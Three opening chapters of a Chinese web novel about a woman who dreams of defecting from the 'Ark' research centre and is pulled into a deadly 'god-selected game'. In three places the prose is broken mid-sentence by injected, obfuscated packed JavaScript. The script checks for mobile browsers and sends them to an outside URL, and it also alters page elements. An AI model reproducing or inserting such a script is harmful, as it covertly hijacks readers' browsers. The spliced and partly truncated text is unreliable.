《我刀人从不翻车》 1. 游戏降临 寻茵快步穿梭在方舟研究中心的走廊上，金属墙壁反射着冷冽的蓝光，映得她的面容格外紧绷。她的脚步声在空旷的走廊间回荡，每一步都像敲在心头。 “白乾特级研究员。”一道悦耳却冰冷的声音从身后传来。 寻茵的手下意识按向腰侧，指尖触到的却是空荡荡的衣料。她这才想起，自己早已卸下了随身携带的匕首。 她迅速调整表情，转过身，露出一个礼貌的微笑。 站在她面前的是一张苍白俊美的脸，几乎与人类无异，但那双眼睛却透着一股非人的冷漠。他的胸前别着一枚金属铭牌，上面刻着：异常检验·双头鬼。 “有事吗？”寻茵扫一眼铭牌，语气平静，“双头鬼研究员。” 双头鬼递过来一份电子报告，声音依旧悦耳，却带着一丝警告：“这是你的异常指数报告，白乾特级研究员。你的指数已经接近临界值。基于‘方舟’对‘诺亚’的保护协议，我再次提醒你，最好停止那些小动作。” 寻茵接过报告，指尖在光屏上轻轻滑动，快速浏览着数据。她的笑容依旧温和，但眼底闪过一丝冷意：“多谢提醒。” 双头鬼没有等她看完，径直从她身旁走过。就在两人擦肩而过的瞬间，寻茵忽然感到一股强烈的视线锁定在自己身上。 她猛地转头，对上了一双充满贪婪的眼睛——那张脸同双头鬼长得一模一样，隐藏在阴影中，目光正死死地盯着她，仿佛她是什么珍馐，贪婪地想将她吞吃掉。 寻茵的心跳漏了一拍，但她很快镇定下来，嘴角勾起一抹意味深长的笑：“双头鬼研究员。” 双头鬼停下脚步，侧过头：“什么事？” 寻茵状似随意地问道：“你喜欢镜子吗？” 双头鬼的眉毛在一瞬间皱起，眼中闪过一丝厌恶：“非常、讨厌。” 寻茵适时露出些惊讶，声音中带着歉意：“真是抱歉，我不该问这个。” 双头鬼没有回应，转身离去。寻茵站在原地，目送他的背影消失在走廊尽头，脸上的笑意逐渐加深。 ……还真是形象的名字啊，双头鬼。 绿洲——这座被高科技屏障笼罩的城市，研究员、高基因者“诺亚”的阶层作为最顶端的存在，享受着这个金字塔社会最顶尖的资源。 而白乾，作为唯一的人类“诺亚”，被破格提拔为特级研究员，进入“方舟”研究中心，与一众机械生物和克系生物成为同事。 寻茵收回思绪，将注意力重新放在手中的报告上。光屏上，一行醒目的红色数字刺痛了她的眼睛： 【异常指数：9.17%，即将临界。建议立即采取紧急措施。】 她的指尖在光屏上轻轻敲击，双眼微微眯起。这个数值的来源，寻茵心知肚明。但她已经没有时间去深究了。 她摸了摸怀中的东西，嘴角勾起一抹笑意。 因为她——将要叛逃“方舟”。 寻茵用ID卡轻松通过了“方舟”研究大楼的安检，期间还与门口的钢铁巨怪打了个招呼。 她的步伐轻快，哼着小曲，丝毫看不准即将被方舟全力通缉的担忧。 回到家中，她打开灯，一辆简陋而色彩斑斓的私制飞行器出现在眼前。 这正是她从各种地方拆下零件，东拼西凑制成的，要知道，想在这个做任何事都会留下痕迹、毫无隐私的算法王国中干一点坏事，成功率基本为零。 而她的异常指标显然也告诉她这一点，这就是她最后的机会。 走进飞行器，寻茵将坐标调成幽骶区——此处是绿洲的废弃物收容区，也是轻微污染区。这里是死亡、黑暗、绝望的摇篮，是绿洲最边缘的地带。 而这边缘地唯一的好处就是紧邻着‘净土’，那正是她这名叛逃者的乌托邦。 …… 向来如死一般的幽骶区今日格外热闹。 一群来自管控城内，从不屑踏足于此的“大人物”一股脑的涌向这片区域。他们像一群贪婪的鬣狗，搜寻着可能存在的猎物。 为首的男子面容苍白俊秀，眼神却冷得像冰，正是双头鬼。 白乾叛逃之后，上级判定他传达失责，要求他将白乾抓回。 幽骶区的低等种被他们聚集到一起，他们像孱弱而无助的羔羊，用一种绝望又惶恐的视线看着这支队伍。 忽然，双头鬼停下脚步，目光锁定在一个基因不纯的低等种身上。 “你，站出来。”他的声音冷冰冰的。 那名低等种抬起头，叫人发现他鼻子和嘴均是老鼠的形态，四肢长着属于昆虫的倒刺。 指挥官走到他面前，冰凉的手指抚上他的脖颈：“你的身上，有‘生命’的味道。告诉我，她在哪？” 低等种显然被这突如其来的意外惊得无力反抗，他浑身发颤、拼命摇着头：“我没见过您说的东西，大人，求、求求您放过我吧！” 双头鬼面无表情，手指微微收紧。废弃物的面色涨红，神色间露出窒息的痛苦。 他的目光忽然被废弃物领口的一抹反光吸引。他粗暴地扯下那东西——那是一面破碎的镜子。 双头鬼的脸色瞬间阴沉，手指猛然用力。那可怜的低等种的头颅像被无形的手挤压，瞬间爆裂。 “白乾！”他的声音像是蛇类的嘶鸣，像是怒火，又像是更古怪的情绪。 “大人，这些低等种怎么处理，要审问吗？” 双头鬼的目光落在所有战战兢兢的低等种脸上，忽然扬起一个笑，说出了令他们更为绝望的话：“不用，带去处理仓吧，说不定成为供体还能实现他们最后的价值。” 待队伍离去，幽骶区恢复宁静，一个人悄悄从供水管道中爬出。 除去那张完全认不出是谁、血肉模糊的面孔和一席破烂衣衫，她的手臂上刻满九只眼睛，那眼睛开合之间眼珠子还在骨碌碌地转动，显出些邪佞的味道。 而她的身后，则有几丛半透明状的触手从衣服后面钻出舞动，让她整个人看起来与这个收容低等种的‘垃圾场’完美融合。 只要不把她半路拉去基因检测，哪怕她光明正大地走在幽骶区，也不会有人能认出这竟然是一名‘诺亚’。 此人正是寻茵。 而此刻，寻茵看着双头鬼最后离去的方向，从胳膊里扣出一块指甲盖大小的信号屏蔽器，随手扔进下水口，带血的中指朝那方向缓缓竖起：“我赢了。” 她捂住手臂上的伤口，尽管浑身狼狈，神色却颇为愉悦。 “真是讨厌镜子啊，双头鬼，这么诚实可不行。” 幸好刚做完躯体改造的身体格外虚弱，否则哪怕有信号屏蔽器存在，她恐怕也很难躲过搜查。 即便计划制定得堪称完美，为了提高容错她甚至花费了三个月做出能让算法停摆三十秒的病毒——在他们进入她家搜查时，植入算法中心的病毒就会启动。 但‘生命’被盗发现的速度快得超出预期，以至于她不得不以这么狼狈的姿态躲过搜查。 不过这也恰好足以验证它的重要性。 当寻茵几经奔波，终于在计划时间前到达‘界碑’时，她伸手触碰那层看不见的屏障，忽然浑身一震，如同从天空中坠落，漂浮感、失重感、以及坠亡的恐惧感一齐袭上心头。 …… 寻茵一个翻身，猛地从床上坐了起来，她的双眼失焦，呆呆地看向头顶的吊灯，额上、背上全是冷汗，忽然，像是意识到什么，她的双手快速摸向身体，粉身碎骨的疼痛仍然残留在脑海，挥之不去。 “是梦吗？”她低声自问。 是梦吗？ 如此真实、如此荒诞、如此——疼痛。 这竟然只是一场梦吗？ 她还记得梦境的最后，在她意识完全消融之际，一个面容模糊的女子破开自己的胸膛，将一颗跳动的心脏放在她手中。 她说——“多谢”。 寻茵低头看向自己的手掌，那里干净如初，没有一丝血迹。但她的鼻息间似乎还残留着那股腥甜的气味，令她几欲作呕。 她烦躁地揉了揉太阳穴，这个噩梦已经困扰了她大半个月，严重影响了她的状态。 手机的消息提示音打断了她的思绪。她拿起手机，屏幕上显示是自己的上级朝歌发来的消息。 她心里一咯噔，滑到与朝歌的聊天界面，只有一条看起来像是群发的‘新年快乐’，反倒让她的心情稍微安定了些。 随手点开推送的消息，第一行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237597|166180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是新年焰火直播。璀璨的烟花在夜空中绽放，弹幕上满是“新年快乐”的祝福。 她看了会儿，觉得无趣，正准备退出问问朝歌有没有什么任务。 然而，零点的钟声敲响时，直播间突然陷入黑暗。现场的观众发出惊慌的尖叫，尖锐的电流声刺耳地回荡在直播间。 直播事故？还是什么保留节目。 寻茵皱起眉头，滑动的手指顿住，她看到烟花坠落的位置出现了萤火似的一行字—— 【神选游戏降临，正式启动。】 这行字实在特殊，绝非普通LED灯可以展示出的效果。何况眼下的气氛如此诡异，就更不像是故意为之的讨巧手段。 很快，并不只是直播间，寻茵房间的灯光也好似被什么影响一般，光线跳动得如同风中残烛，几番闪烁后陷入一片无尽黑暗。 直播间的线下地点在远郊，距离寻茵家并不远，受到相似的影响倒也并不奇怪。但几乎是直觉的警惕让她关上了手机，翻出了防身用的匕首，她走到床边，窗外也一片漆黑，方圆十里不见灯光，唯有一轮大而明亮的月亮突兀地挂在空中。 ……不对劲。 今天是初一，应该是新月才对。 寻茵凝视着那轮古怪的月亮，不出片刻，那‘月亮’竟在她眼前分裂重组，成为她在直播间看到的那行字。 这远比在直播间中看到更震撼。 她面色凝重，打开手机将亮度调制最低，直播间的弹幕刷得飞快，大多都是对这轮月亮和字的探讨。 【世界末日了？】 【这是什么技术……看起来有点牛X，疑似破次元壁了。】 【你们有咩有停电啊，我这周围全是黑的，吓死人了，还好我车库有备用电源，不然真是两眼一摸瞎。】 就在寻茵查看弹幕寻找线索期间，只听见窗户发出一声巨响。她打开手电筒照明，才发现一只蝙蝠撞死在窗台上。 来不及松口气，昏暗的房间内有什么一闪而过，在她颈侧带起一阵气流。 她猛地回过头，却见一副粲金的卡片在黑暗中闪烁着，凑近了看，上面写着：恭喜您，获得神选游戏名额。 在这行字映入眼帘的瞬间，意识先一步沉沦在一片白色之中。 睁开眼，自己已经不在昏暗的家中，眼前是一片明亮又颇具科技感的全封闭空间。白墙白顶白炽灯白地砖，一片如出一辙的纯白，让人无法辨认此处方位。 她绕着墙壁边缘走了几步，连条缝都没找到。 这片空旷的地带只有她—— 很快，随着轰隆隆的机械转动声响起，中间地面忽然分裂，一个人型的、长着蚯蚓般口器和蜥蜴四肢的人从地下被送上来。 它被困在牢笼中，一见了寻茵就激动地扑在前，三爪紧紧攥着笼杆，爪子颇有种斑斓的金属质感，口中的涎水顺着牙齿滴在地上，出现一缕白烟和凹坑。 显然，怪物的口水具有极强的腐蚀性。 现在，牢笼开启，拥有利齿和毒液的怪物一脸垂涎地踏了出来，寻茵成了它的猎物。 …… 这个纯白的斗兽场之上，一男一女注视着其中的少女和怪物，其中一人忍不住发出疑问：“她看起来这么脆弱，真的能解决掉‘食尸鬼’吗？” 二人的目光都没有从她身上移开，女人回答：“她必须行。你别忘了，她接下来可是一队的随队医生，要是连独立对战食尸鬼的能力都没有，难道去了污染区还指望一队救她吗？” 男人叹了口气，他有一双璨金色的眼睛，前额上顶着尖尖的独角：“毕竟她之前是研究员，不是战士，再说，一队回来还有少说半个月的时间，没必要这么着急吧。” “时间能争取的是她的生命，可不是我们的。如果你实在放心不下，等她出来之后可以好好为她做一下心理辅导。”女人穿着一身白大褂，尽管口中说着冷漠的话，眼睛却从未放开。 顺着女人的目光看去，怪物和少女呈现对峙的姿态，他忍不住呢喃：“A级的食尸鬼可不好杀啊……再说，她连异能都没有。” 斗兽场中。 寻茵与怪物对峙着，心跳如鼓。她知道，这是一场生死之战。 而她，必须赢。 2. 再生胚体 【恭喜您，■■玩家10001，成功解锁大地图‘净土’，请尽快搜集身份相关线索，切勿被人发现您的外来者身份。请注意，如果您在游戏世界死去，现实世界也将不复存在！】 就在寻茵与怪物对峙间，一行光幕出现在她眼前，像恼人的蝇虫般吸引视线。 怪物很快觉察到寻茵这一刻的分心，以一种人力所不能及的速度落在她身前。 危机感瞬时侵占大脑，完全是□□的本能反应，她整个人像猫一般轻盈而敏捷地跃起，踏在怪物身上，反身落在怪物身后。 只是即便她的速度已快至极限，至多也不过堪堪与那怪物打平。 怪物暂时抓不到她，可一直闪躲也不是办法，寻茵迟早会因体力耗尽成为这怪物的美餐。 如果有什么武器就好了。哪怕不是武器，任何锋利、尖锐的东西都可以！她这赤手空拳，怎么跟怪物硬碰硬？ 然而周围实在空得出奇，偏生这时候光幕还在变动。 【基础任务已发布：活下去】 【任务时长：三天】 【任务奖励：积分1000、（未知）】 【温馨提示：积分与本世界代币（能量点）之间相互流通，兑换比例为1：10】 爸了个根的！发的什么任务，尽是些废话！ 暗自唾骂这没用的系统，她再度躲过那怪物的一击。这回它尖利的爪子划破了寻茵腰上的衣服，好在并未刺伤她。 一滴冷汗顺着她的额角往下，几乎要流进她的眼睛里。 一击不成，怪物有些恼怒，却并没有不管不顾地扑上来，寻茵才察觉，对面那个面容丑恶的东西似乎……并不像她想象中的那样毫无理智。 如果没办法杀死对方，那么究竟怎样才能让对方丧失行动能力？ 这怪物主要是依靠什么来辨别‘猎物’？味道、气息、温度、声音？究竟什么可以成为诱饵呢？ ——没时间了！ 怪物有意识地将寻茵逼向墙角，然后迅疾地冲了过来。即便寻茵闪避及时，仍被怪物尖锐的爪子划伤面颊。 一道血痕出现在她眼下的位置，脸旁的头发齐齐断裂，切面平整，头发轻飘飘地落在地上，足已预见一旦这爪子落在身上，究竟会是怎样的皮开肉绽。 那怪物将带血的爪子伸进圆筒状的口器，口器鼓动着，吮吸、品味着那点寻茵的血液。 它的眼睛渐渐发红，像是尝到了无上珍馐，无比贪婪地看向寻茵。这缕香甜的血液是最好的铒剂，寻茵能看出，它想将她撕碎吞入的欲望已经达到峰值。 血液可以吸引怪物。但这怪物自身具备一定意识—— 她摸上自己的眼角，那本该深刻的血痕已经止住。 超乎寻常的自愈能力。 寻茵看向怪物，轻笑：“来吧，让我看看你有多想吃掉我。” 怪物的口器剧烈地开合，像呼吸一般，它将利爪摆在胸前，后腿剧烈蹬起——比之前更快！ 寻茵躲开，抵挡的掌心划出一道深刻的伤口，已经能够看见鲜红肌肉下雪白的掌骨。温热甜美的血液洒落半空，又被那怪物伸着口器贪婪地接住。 “咚！”专注血液的怪物一时不察，狠狠地撞在墙壁上。 然而这怪物很快又站了起来，它颇具人性化地甩了甩那颗丑陋的脑袋，贪婪的视线看向寻茵手掌，即便那已经不在流血。 寻茵笑了笑，如它所愿撕开血痂，血液继续在空中挥洒，怪物跃起，将空中的血液吃掉，又撞在墙壁上，如此一共三次。 第三次它撞上白墙，好一会都没爬起来，但寻茵却走上前，抓起它秃噜的头，一下下用力往地上砸。 直到她砸得手酸，这怪物也没受皮肉伤，只是被这冲击暂时弄昏过去。 不过十分钟，那怪物倒在地上的身体便动了动，从地上爬了起来。 看着蓄势待发的怪物，寻茵严阵以待。她知道，自己必须有把武器。 可怪物不愿意给她准备时间，它已经逼近寻茵，腥臭的口器，浑浊的眼珠，以及将要挥下把她拍成肉泥的利爪—— 寻茵再次提速，在怪物的利爪落下之前跃进之前困住它的笼子。 “叮——”利爪与铁笼发出金属摩擦的刺耳声音。 与此同时，不知从哪来的触手刺进怪物的口器、心脏。 寻茵低下头，顺着那根触手向后摸去，在自己的后腰处，找到它的根源。她惊呆了。 那怪物与寻茵一样呆住，它的口器翕动，似乎想要咬断触手，然而却只是无用功。心脏处的触手抽了出来，一种墨绿的液体从那个创口涌出，充满腐蚀性的液体溅在地上顿时冒出白汽。 心脏处穿透的洞口出现，寻茵甚至能透过那个洞看见怪物身后的白墙。 不过是一个眨眼，触手猛地向上，从怪物的脑中穿过。 怪物浑浊的眼睛开始扩散，慢慢呈现出一种僵死的灰调。触手似乎在里面找到什么，将它卷了出来，献宝似地送到寻茵面前。 是一颗白色的、莹润的，玉一样质感的珠子，里面有着棉絮状的黑线。 光幕迅速刷新：【恭喜您击杀?A·食尸鬼?，当前对象掉落A·核心。】 【遵您意愿（■■之触）已拥有{锋利}{坚硬}两项特质。】 【检测到可吸收能源，是否用于（■■之触）进化？】 寻茵谨慎地点了否。那颗珠子被她放进口袋，在她没搞明白之前不准备用它做任何事。 【当前身份已解锁。】 【扮演角色：白乾 身份：无业游民（当前） 人物背景：】 她竟然成了自己梦里的人物。 花了一分钟消化掉这个事实，寻茵才来得及思考自己应该怎么出去。 不过很快，那在她看来完全没有缝隙的白墙居然突兀地向两边裂开条缝。 瞬间她便意识到，有人在她目所不及的地方，注视她和怪物战斗。 怎么回事？难道白乾从绿洲逃出来之后又进了什么涉黑组织？ “嘿，你看起来状态还不错。” 何止不错，应该是非常好，寻茵心想，抚上了两处伤口的位置，眼眶处的伤口已经近乎完全愈合，掌心也只剩一层厚痂，如果扣掉，估计能看见白皙的粉肉。 “不然我应该被它撕成碎片？” 对方看起来没恶意，但就这么莫名其妙进入这块斗兽场，恐怕没人会不生气。 说话的男人有一头金发和蓝色瞳孔，听了寻茵略带讥讽的话，他无奈地耸耸肩：“不会让你死的，事实上，只要它害你受伤，下一秒我们就会出手干预。” “你不会被撕成碎片，”一边看起来颇为寡言的女人道，“食尸鬼只吸食血液和肉，这类生物对凌虐没有太多兴趣。至少……现在你的义体触手，终于派上用场了，不是吗？” 寻茵：“……” 她意识到这场战斗的目的极有可能是帮助白乾激活触手。 人在面对生死的时候往往会爆发意想不到的力量，而他们就是期望借着这种力量使白乾体内的触手派上用场。 “作为随队医生，这是你必须掌握的。”女人瞳孔黑沉，看着她道。 寻茵不语，眼见气氛变得尴尬起来，独角男忙打圆场：“白乾已经很厉害了，这应该是你第一次作战吧？非常冷静。” 她偏过头，没有回应男人的好意：“……我的休息室在哪？我需要处理一下。” 不光是处理残留在衣服上的灰尘血渍，她还需要一个安稳的环境，来整理思路。 “你没有休息室，现在你还不算完全加入我们，等三场考核之后，你才有资格成为随队医生，”女人说着，看向独角男：“把她带去我的休息室，里面的衣服可以随意取用，都是新的。” “……”好好好，差一点就死了，原来还是个实习生。难怪当前身份是无业游民。 寻将视线从女人的身上移开，她跟着独角男七拐八拐，这里的主色调基本是白色，乍一看简直像迷宫一般，但好在指示牌不少。 二人终于来到一扇门前，一路上他一直絮叨地说些什么，寻茵没注意听，直到男人讲手掌按在门上，然后这扇原木似的门便忽然消失。 “这里就是璩双的休息室了，你别在意璩双的话，她一直都嘴硬心软，否则不会把你从污染区带回来。对了，自我介绍一下，我是拜厄斯，负责精神治疗，期待你成为我们的同事。” 璩双。 寻茵记下这个名字，轻轻点了点头，看向对方：“还有事吗？” “璩双通知十分钟之后开会，你也需要到场。应该是跟再生胚体有关。” 再生胚体？什么东西。 寻茵谨慎地没有选择去打听，只是应了声。拜厄斯将会议信息交给寻茵，又为她指了路，见寻茵点头才放心离去。 清理完身上的灰尘血迹，寻茵才有空看镜子里那张脸，非常熟悉而又陌生的一张脸，和寻茵长得完全一致，只从眉眼看起来比寻茵略大些。 她蹙眉，镜子里的人同她一起蹙眉。寻茵注意到自己眼下的划痕已经近乎消失，只留下一道比周围白皙的新肉。 眼下这道伤口的深度大约在2mm-3mm间，如果以她之前的愈合速度来看，最快的话也需要一周时间才会长出新肉。然而从她受伤到现在，时间不会超过一个小时。 脸上伤口不过是浅表，她摊开掌心，一道厚厚的血痂横在掌心，用力张开或握拳时会有种绷紧感。寻茵看了会儿。扣开厚厚的痂，那道深可见骨的伤痕却已经变成粉色嫩肉，被血液连在一起。 看起来，越重的伤恢复速度越快。难道这就是寻茵从方舟偷走的‘生命’吗？ 那么拜厄斯所说的再生胚体又是什么？ 这个问题，寻茵很快便知道了。 会议。 顺着标记找到会议室的位置，寻茵走进去，敲了敲门。 台前的璩双只看了寻茵一眼，拜厄斯看见寻茵，指了指他身边的位置，寻茵走到那坐下。 “现在人齐了，我开始讲一下规划。” 在璩双说话期间，寻茵不着痕迹地打量着周围人，这是张圆弧形会议桌，六个人分成两列坐在两侧，加上台上的璩双一共是七个人。 “首先我要介绍一下这位，”璩双的目光看向寻茵，“白乾。原方舟研 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这个问题显然非常尖锐，但寻茵的表情没有任何破绽，她只是摇摇头，表现得极为无奈：“再生系列具有很多衍生物，而再生胚体是其中最为稳定、温和的存在，它只会在原有基础上进行再生。关于这个问题，我只能告诉你，是的，与再生胚体有关。” 这番话说得点到即止，璩双开口圆场：“这件事情之后我会让白乾提交一份资料报告给我。现在我还要再宣布一件事，白乾会加入我们，作为特殊一队的随队医生。当然，她需要通过三场考核，分别由我、拜厄斯、天屿各自负责战斗、精神、遗落物收容处理方面的考核。” 她顿了下：“战斗方面的考核已经通过，之后的考核，拜厄斯与天屿，交给你们。” 回到座位，寻茵注意到姬发女生的视线，见寻茵看过来，她不躲不避，甚至对着寻茵微微挑眉。 拜厄斯注意到这一幕，看向寻茵小声道：“她就是天屿。” 做完大致总结，其余人先行离开，只剩下璩双，拜厄斯以及天屿。 “你应该发现核心了。”璩双没什么情绪的眼睛看着寻茵，淡声道。 寻茵下意识摸向口袋里那颗珠子，放在掌心：“就是这个？” “核心是死物，其中的污染能量稳定，一般无法造成污染，可以用作升级异能或义体的机制。” 异能？义体？ “你的义体已经激活，可以尝试用它来提升。” 璩双话音刚落，寻茵身后的触手便蠢蠢欲动地伸出来，卷起寻茵掌心的珠子。 她知道这绝非她自己的意识，而是来自于对核心虎视眈眈的触手。但触手也在一定程度上与她共感。 ……真是个馋鬼。 尽管这般腹诽，寻茵依然很快应允触手的请求，对她而言，饥饿的滋味并不好受。总会让她想起…… 想起什么？ 又是这种莫名其妙的既视感，好在寻茵对此已经非常熟悉，能够自然而然地忽视。 得到寻茵的应允，不出片刻，那珠子便碎成齑粉，不知是不是错觉，寻茵似乎听到打饱嗝的声音。 【（■■之触）已吸收A·核心，已获得食尸鬼特质{吞噬}。】 游戏短暂通报一声，便再无后续。 这就没了？ 下意识蹙起眉，转瞬她对上三道目光。 “……怎么？” “你这义体竟然还没吃饱？”说话的人是天屿，她似笑非笑，似乎对此很感兴趣，“以往新激活的义体吃了A级核心，不说升阶，至少也会有些其他变化。” 她说着便要去揪那触手，却直接被拍开。 “还挺有脾气。”天屿笑着，摩挲手背红痕，表情却更加兴味。 只需心念一动，触手便收了回去。 “还有什么事吗？”寻茵看向三人。 “遗落物分为遗落之骸与核心，核心是遗落之骸死后能量的结晶。特殊部队的主要职责是处理遗落之骸，尽管你的职务是特殊一队的随队医生，但你没有任何经验，就算出任务也是死路一条。等你通过考核后会进行历练与集训，以降低你的死亡率。” 璩双话落，瞥了眼拜厄斯，拜厄斯很有眼力见地接过话：“今天会考核你剩下的两场，精神考核主要是考核你的意志力，遗落物收容处理是书面考核，补齐你对于这些东西的认知。” 寻茵：…… 新世界第一天，居然逃不过考试。 她扯了扯嘴角，露出一个虚弱的笑：“我知道了。” 3. 曙光中心1 天屿并没有为难她的意思，给了寻茵一本图鉴，上面记载着已被发现的遗落物及其处理方法，对现在的寻茵而言，差不多是扫盲百科书。 考核的内容分理论与实践两种，寻茵大致读完全本之后，依照处理方式进行分类，顺利通过理论。 至于实践，天屿没有详细说明，只是说以后每天下午都同她一起处理任务。 很快便来到了精神考核模块。 随着寻茵踏进‘考场’，她光明正大地开始打量这个房间，暖色调地装修风格，非常明亮的氛围，有利于人在一个陌生环境中放松警惕。 见寻茵收回视线，一旁观察的拜厄斯笑了笑，他前额的独角已经消失，留下光滑平整的额头。 “坐吧，不用紧张，我们就是随便聊聊，无论结果怎么样，你都会通过考核的。” 寻茵没对这句话作出反应，不管是安慰还是某种意味深长的箴言，对她而言没有任何区别。 他将杯中的热牛奶推给寻茵，又为自己的咖啡加了两块方糖：“牛奶我没有加糖，你可以根据自己的口味调整。” “谢谢。”寻茵道谢，却没有动那杯奶的意思，她从不喝陌生环境下别人给的东西。 拜厄斯也不在意，他自己啜饮一口，发出感慨，才看向寻茵：“我可以知道你跟食尸鬼作战的时候有什么想法吗？” 寻茵抬眼看他，笑了笑：“怎么活下去。” “当然，对生的渴望是一个人最强的内驱力，不过我觉得你不是这样的人……啊，不是对你下定义的意思，这仅仅出于一种我的直觉。” 他又加了一块方糖。 “为什么这么说？”寻茵觉得有点意思，她坐直身体，将指尖搭上那瓷白的杯子。暖洋洋的触感从杯壁传递到掌心。 “如果你最在意的是怎么活下去，你就不会从方舟逃到净土。就算是那些废弃物又跟你有什么关系呢，你可是‘诺亚’，就算不忍心看见废弃物的惨状，只要蒙上眼睛，就不会有人逼你。”他放下搅拌的匙子，看向寻茵，眼中展现出不同于他温和外表的洞察力。 尽管寻茵与白乾从未交流过，但源自这长久的梦境，对于白乾的处事及目的多少有些了解，通过拜厄斯的话不难猜测，白乾利用的借口很可能是为了帮助废弃物。 显而易见的谎言。 她瞥了眼拜厄斯，但或许对方并不在意白乾的真实目的。而对这一点，白乾显然心知肚明，否则也不会编出这样容易拆穿的谎话。 那么拜厄斯问出这句话的目的并不在于废弃物，而是在问她：是不是有人在逼她。 寻茵莫名想到梦中双头鬼递给她的异常指数报告。 ……会跟这个有关吗？ 她并没有思考太久，只是借着对方的话继续道：“哪怕蒙住眼睛，也会从他人口中听到。哪怕捂住耳朵，这些事情也始终存在，并不是我抛弃五感就能够消失的。” 拜厄斯端着咖啡的手一顿，若有所思地看着寻茵。 他忽然轻笑一声：“没想到你会说这种话。” 她露出一个很浅的笑：“因为你不了解我。” “那你愿意给我一个了解你的机会吗？” 寻茵眉梢微动，便对上对方那双鎏金瞳孔，她感觉自己的意识空白一瞬，再开口时语气已经多了些恍惚：“……当然。” …… 寻茵冷眼看着回答拜厄斯问题的‘自己’。 意识在那个瞬间抽离躯体，硬要说这种感觉的话，约莫像是寻茵在修真小说中看过的灵魂出窍。 寻茵听着拜厄斯与‘她’的一问一答，终于品出些不对来。 拜厄斯显然很熟悉这种状况，他并没有问太难的问题：“你会对净土不利吗？” “…不…” 类似于以上这种明确是否，二选一的回答里，‘白乾’还能做出回应。 而对于诸如“你来净土有什么目的”“你为什么叛逃方舟”“你是怎样通过‘界碑’的”这种没办法说完的，‘白乾’便垂着头，一味沉默。 惹得拜厄斯忍不住发出焦躁的‘啧’声，嘟囔道：“不过是简单的精神控制，多的一点都说不出来，平日里也没看出精神力有这么弱。” 拜厄斯的精神控制是通过被控人挣脱精神控制的过程中，直接对被控人的潜意识进行问答。一般情况下越防备的人审讯效果越好，因为他们发现自己被控制，往往会拼劲全力挣脱这种控制。 要是寻茵知道拜厄斯的能力，现下恐怕是要冷笑一声：先不说控不控制的，她本人都被赶出身体，谁知道回答拜厄斯问题的是个什么东西。 ——至少绝不会是她和‘白乾’。 更甚而言，连拜厄斯海龟汤式问答都是对错随机，真真假假连寻茵自己都没搞明白。 她只知道，恐怕拜厄斯得不出自己想要的答案。 显然拜厄斯自己也明白这件事情，他挠了挠头，烦躁地吐出一口浊气，意识到这种方法得不到自己想要的东西，他解开寻茵的控制。 躯壳的沉重感彰显着寻茵已经回到自己的身体，寻茵看向他，笑了笑：“我通过了吗？” 拜厄斯的表情一僵，他深吸一口气，露出个堪称扭曲的笑来：“恭喜你，通过了。” 这时，寻茵拿起桌上那早已凉透的牛奶，喝了一口，随后站起身：“多谢你的牛奶。” 这一举动显然带着一种小小的示威性质。 拜厄斯：“……” …… 寻茵刚从拜厄斯的办公室走出来，迎面遇上了来找她的璩双。 见了寻茵，她便递给寻茵一张检测报告：“这是你的入职检测报告，上面有你的异能检测结果以及义体情况，确认没有问题之后记得签字给我。” 寻茵接过报告，还没来得及翻看，便听她又道：“今天的试验基本通过，明天会对你进行基础培训，依然是由我们三人直接教学，分别对你进行操作、精神、任务方面的指导。” 她顿了一下，继续道：“你今天的表现很不错，特别是你的战斗技巧，看起来完全不像一个而普通研究员，但我注意到你对食尸鬼的习性似乎非常陌生，在你之前的研究中，没有遇到过食尸鬼吗？” 寻茵寻拿着报告的手指一顿，她意识到这是一次试探，璩双在怀疑自己，因为在作战过程中她的表现看似来似乎并不了解食尸鬼的命门。 而事实上，寻茵也从未在白乾的记忆当中找到与食尸鬼有关的存在。 寻茵挑挑眉，将这层警惕掩埋在若无其事的表情下：“我不研究食尸鬼，至于有没有这个研究项目也不是很清楚，方舟对于研究员有明确规定，不允许互相透露研究内容。” 璩双颔首，并没过多纠缠，只是又给寻茵指了路，然后道：“如果你下午打算好好逛一下净土，我可以给你一些能量点。” 寻茵笑了笑，没有拒绝。于是璩双便伸出手，碰了一下寻茵的手，二人手背上出现一串半透明的代码，这串代码迅速变换，最后变成+1000的字样。 璩双将这笔能量点转给寻茵之后没再停留，寻茵留在原地目送璩双离开，才迈开步子走出这栋大楼。 既然璩双都给她转能量点明示她好好了解这个世界了，寻茵自然不好辜负对方的好意。 她摸了摸衣服口袋，里面有一张白纸以及手机，纸看起来是从某本本子上随手撕下来的，边缘还带着毛边。上面用黑笔写着未来酒店四个字，还有一副简笔地图。 手机的外观非常新，在白乾的记忆里，方舟不会存在这样落后的工具，它们的联络通常是采用一种入体式芯片。想起这点，寻茵下意识摸了摸后脖颈，尖刀剜刺的感觉鲜明地停留在大脑皮层，带起一阵鸡皮疙瘩。 这意味着净土的科技水平与现实相近，远不像绿洲那样先进。但那串交易代码……寻茵的眸色深了深，先进得不像是净土的科技。 寻茵转过身，抬起头看向身后的建筑群。 曙光中心四个大字赫然陈列在入口处，各大建筑群依功能进行划分出三个区域，行政、医疗、特殊行动部门。白乾则隶属与特别行动部一队。 想起璩双口中的培训，她不由地轻啧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 